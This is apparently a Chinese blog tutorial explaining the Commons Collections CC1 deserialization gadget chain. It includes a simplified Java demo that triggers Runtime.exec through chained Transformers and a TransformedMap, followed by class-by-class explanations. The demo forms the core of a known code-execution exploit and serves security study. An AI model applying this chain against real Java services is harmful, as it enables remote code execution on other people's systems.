反序列化篇3#
CC1#
这篇文章主要是讲解了CC1链的本质,让读者能够更容易地明白。
这里P牛的pdf已经写的很好了,就稍微总结一下。
这个是P牛简化过的代码,执行后将会弹计算器(需要稍微修改下代码,如package,/System/Applications/Calculator.app/Contents/MacOS/Calculator):
package com.govuln.deserialization;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsIntro {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
outerMap.put("test", "xxxx");
}
}
这里需要学习的就是几个新的类。
理解类#
TransformedMap#
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将执⾏⼀个回调。我们通过下面这行代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map
Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);
Transformer#
Transformer是⼀个接口,它只有⼀个待实现的方法transform
,TransformedMap在转换新元素时,就会调用Transformer中的transform方法。
ConstantTransformer#
ConstantTransformer是实现了Transformer接⼝的⼀个类,其构造函数是接收一个对象并存储,在transform时将该对象返回
public ConstantTransformer(Object constantToReturn) { super(); iConstant = constantToReturn;
}
public Object transform(Object input) { return iConstant;
}
InvokerTransformer#
InvokerTransformer是实现了Transformer接口的⼀个类,这个类可以用来执行任意方法,这也是反序列化能执行任意代码的关键。
构造方法如下:
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
transform方法如下,执行了input对象的iMethodName方法:
public Object transform(Object input) {
if (input == null) {
return null;
} try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
// ...
}
ChainedTransformer#
ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串 在⼀起。通俗来说就是,前⼀个回调返回的结果,作为后⼀个回调的参数传⼊,我们画⼀个图做示意:
理解Demo#
当我们理解上面几个类的作用之后,Demo的代码就非常容易理解了,其实际上分为以下几个步骤:
1. 创建了一个链式的Transformer(ChainedTransformer
),其中包含了两个Transformer(ConstantTransformer
和InvokerTransformer
),目的是为了执行Runtime.exec
方法
2. 创建HashMap实例,并用TransformedMap.decorate
来包装HashMap,当发生value转换的时候回调ChainedTransformer
3. 使用HashMap.out
方法往Map中放入新元素,触发回调